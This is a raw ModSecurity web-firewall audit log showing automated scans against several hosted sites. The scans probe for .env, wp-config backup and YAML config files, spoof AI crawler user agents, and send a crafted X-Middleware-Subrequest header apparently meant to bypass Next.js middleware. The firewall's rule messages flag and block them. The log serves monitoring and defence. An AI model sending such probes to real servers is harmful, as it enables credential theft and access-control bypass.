Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b6a857e-Z--

--56d8d645-A--
[13/Sep/2026:13:01:49.223106 +0300] aqZ0jTTJ6xTvcJoem7f7UgAAAFY 45.138.12.13 54658 127.0.0.1 7081
--56d8d645-B--
GET /application/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--56d8d645-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--56d8d645-E--

--56d8d645-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/application/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7UgAAAFY"]
Stopwatch: 1789293709163164 60020 (- - -)
Stopwatch2: 1789293709163164 60020; combined=58712, p1=207, p2=58401, p3=58, p4=8, p5=38, sr=82, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--56d8d645-Z--

--b106851b-A--
[13/Sep/2026:13:01:49.246342 +0300] aqZ0jSsVWymXUono-eRVVQAAAAE 45.138.12.13 54718 127.0.0.1 7081
--b106851b-B--
GET /wp-config.php.bak HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--b106851b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b106851b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZ0jSsVWymXUono-eRVVQAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZ0jSsVWymXUono-eRVVQAAAAE"]
Action: Intercepted (phase 2)
Stopwatch: 1789293709183314 63112 (- - -)
Stopwatch2: 1789293709183314 63112; combined=61513, p1=433, p2=60778, p3=0, p4=0, p5=301, sr=149, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b106851b-Z--

--8d4c796f-A--
[13/Sep/2026:13:01:58.531415 +0300] aqZ0lisVWymXUono-eRVYQAAABE 45.138.12.13 35298 127.0.0.1 7081
--8d4c796f-B--
GET /config/parameters.yml HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--8d4c796f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8d4c796f-E--

--8d4c796f-H--
Message: Warning. Matched phrase "parameters.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "parameters.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/config/parameters.yml"] [unique_id "aqZ0lisVWymXUono-eRVYQAAABE"]
Stopwatch: 1789293718526155 5362 (- - -)
Stopwatch2: 1789293718526155 5362; combined=4098, p1=242, p2=3741, p3=62, p4=9, p5=43, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8d4c796f-Z--

--d5a92759-A--
[13/Sep/2026:13:01:58.539558 +0300] aqZ0ljTJ6xTvcJoem7f7bAAAAEc 45.138.12.13 35344 127.0.0.1 7081
--d5a92759-B--
GET /api/config/config.yml HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--d5a92759-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d5a92759-E--

--d5a92759-H--
Message: Warning. Matched phrase "config.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "config.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/config/config.yml"] [unique_id "aqZ0ljTJ6xTvcJoem7f7bAAAAEc"]
Stopwatch: 1789293718528522 11199 (- - -)
Stopwatch2: 1789293718528522 11199; combined=10037, p1=230, p2=9694, p3=60, p4=8, p5=44, sr=117, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5a92759-Z--

--40b7cf66-A--
[13/Sep/2026:13:01:58.585850 +0300] aqZ0lisVWymXUono-eRVYAAAABU 45.138.12.13 35306 127.0.0.1 7081
--40b7cf66-B--
GET /app/config/parameters.yml HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--40b7cf66-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--40b7cf66-H--
Message: Warning. Matched phrase "app/config/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/config/parameters.yml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "app/config/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/config/parameters.yml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/app/config/parameters.yml"] [unique_id "aqZ0lisVWymXUono-eRVYAAAABU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/app/config/parameters.yml"] [unique_id "aqZ0lisVWymXUono-eRVYAAAABU"]
Action: Intercepted (phase 2)
Stopwatch: 1789293718519059 66871 (- - -)
Stopwatch2: 1789293718519059 66871; combined=65416, p1=259, p2=64822, p3=0, p4=0, p5=335, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--40b7cf66-Z--

--ed5dba5a-A--
[13/Sep/2026:13:02:10.381442 +0300] aqZ0oWM7dE9KgIIOpQh3UQAAANQ 34.80.249.255 54424 127.0.0.1 7081
--ed5dba5a-B--
POST /graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--ed5dba5a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ed5dba5a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293729985141 396379 (- - -)
Stopwatch2: 1789293729985141 396379; combined=12578, p1=236, p2=12046, p3=0, p4=0, p5=295, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ed5dba5a-Z--

--6778576b-A--
[13/Sep/2026:13:02:10.705118 +0300] aqZ0omM7dE9KgIIOpQh3WAAAANU 34.80.249.255 54498 127.0.0.1 7081
--6778576b-B--
POST /api/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--6778576b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6778576b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293730630767 74438 (- - -)
Stopwatch2: 1789293730630767 74438; combined=5214, p1=298, p2=4665, p3=0, p4=0, p5=251, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6778576b-Z--

--a042af50-A--
[13/Sep/2026:13:02:11.085555 +0300] aqZ0okwu1RSkptiiNIX5uQAAAJY 34.80.249.255 54544 127.0.0.1 7081
--a042af50-B--
POST /v1/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--a042af50-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a042af50-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293730984495 101180 (- - -)
Stopwatch2: 1789293730984495 101180; combined=5613, p1=389, p2=4954, p3=0, p4=0, p5=270, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a042af50-Z--

--86595d4f-A--
[13/Sep/2026:13:02:11.216052 +0300] aqZ0ozTJ6xTvcJoem7f7eAAAAEg 34.80.249.255 54556 127.0.0.1 7081
--86595d4f-B--
GET /.env?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--86595d4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--86595d4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0ozTJ6xTvcJoem7f7eAAAAEg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731145666 70442 (- - -)
Stopwatch2: 1789293731145666 70442; combined=4162, p1=218, p2=3865, p3=0, p4=0, p5=78, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--86595d4f-Z--

--20873102-A--
[13/Sep/2026:13:02:11.337781 +0300] aqZ0o2M7dE9KgIIOpQh3XgAAAMc 34.80.249.255 54576 127.0.0.1 7081
--20873102-B--
GET /.env?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--20873102-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--20873102-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0o2M7dE9KgIIOpQh3XgAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731266256 71606 (- - -)
Stopwatch2: 1789293731266256 71606; combined=3302, p1=217, p2=2943, p3=0, p4=0, p5=142, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--20873102-Z--

--2bb9622f-A--
[13/Sep/2026:13:02:11.665959 +0300] aqZ0ozTJ6xTvcJoem7f7egAAAE4 34.80.249.255 54590 127.0.0.1 7081
--2bb9622f-B--
GET /.env?import&url&inline HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2bb9622f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2bb9622f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0ozTJ6xTvcJoem7f7egAAAE4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731482139 183880 (- - -)
Stopwatch2: 1789293731482139 183880; combined=3559, p1=237, p2=3265, p3=0, p4=0, p5=57, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2bb9622f-Z--

--d8eb9674-A--
[13/Sep/2026:13:02:11.687001 +0300] aqZ0ozTJ6xTvcJoem7f7ewAAAEs 34.80.249.255 54614 127.0.0.1 7081
--d8eb9674-B--
GET /.env.local?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d8eb9674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d8eb9674-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0ozTJ6xTvcJoem7f7ewAAAEs"]
